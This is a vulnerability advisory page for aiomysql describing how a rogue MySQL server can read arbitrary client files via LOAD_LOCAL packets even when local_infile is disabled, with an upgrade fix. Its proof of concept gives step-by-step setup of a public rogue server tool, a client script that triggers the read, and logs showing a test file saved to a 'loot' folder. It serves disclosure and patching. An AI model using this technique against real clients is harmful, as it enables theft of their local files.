VDB
Sign up
—

PYSEC-2026-1110

aiomysql allows arbitrary access to client files through vulnerability of a malicious MySQL server

Quick fix

PYSEC-2026-1110 — aiomysql: upgrade to the fixed version with the command below.

pip install --upgrade 'aiomysql>=0.3.0'

Details

### Summary The client-side settings are not checked before sending local files to MySQL server, which allows obtaining arbitrary files from the client using a rogue server.

### Details It is possible to create a rogue MySQL server that emulates authorization, ignores client flags and requests arbitrary files from the client by sending a LOAD_LOCAL instruction packet. Related to CVE-2019-2503.

### PoC First, start up a rogue MySQL server that ignores client-side flags and sends LOAD_LOCAL packet to the client – tested with https://github.com/rmb122/rogue_mysql_server

1. Create a file to be stolen by the rogue server: `echo "gotcha" > /tmp/my_secret_file.txt` 2. Clone the repo: `git clone git@github.com:rmb122/rogue_mysql_server.git && cd rogue_mysql_server` 3. Build the server: `make rogue_mysql_server` 4. Generate a sample config: `rogue_mysql_server -generate` 5. In `config.yaml` change `file_list` to `["/tmp/my_secret_file.txt"]` 6. Run the server: `./rogue_mysql_server -config config.yaml`

Next, the vulnerability can be seen in action with the following script, which can be run in a second terminal: ```python3 import asyncio

import aiomysql

loop = asyncio.get_event_loop()

async def test_example(): conn = await aiomysql.connect( host="127.0.0.1", port=3306, user="root", password="", db="mysql", loop=loop, local_infile=0, # note that we explicitly forbid local_infile )

cursor = await conn.cursor() await cursor.execute("SELECT 1") print(cursor.description) r = await cursor.fetchall() print(r) await cursor.close() conn.close()

loop.run_until_complete(test_example()) ```

The rogue server will output log messages indicating successful file read and save the contents in the `loot/` directory ``` level=info msg="Client from addr [xxx], ID [1] try to query [select 1]" level=info msg="Now try to read file [/tmp/my_secret_file.txt] from addr [xxx], ID [1]" level=info msg="Read success, stored at [./loot/xxx/1757403852610__tmp_top_secret_file.txt]" level=info msg="Client leaved, Addr [xxx], ID [1]" ```

### Impact This vulnerability impacts products and environments that require connection to untrusted MySQL servers or allow the possibility for them to be compromised.

### Fix suggestion Can be fixed by porting relevant changes from PyMySQL – https://github.com/PyMySQL/PyMySQL/commit/b5e17cee46e0706dbfd707cdd2024452f0fb3267

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI/aiomysql
Introduced in: 0Fixed in: 0.3.0
Fixpip install --upgrade 'aiomysql>=0.3.0'

References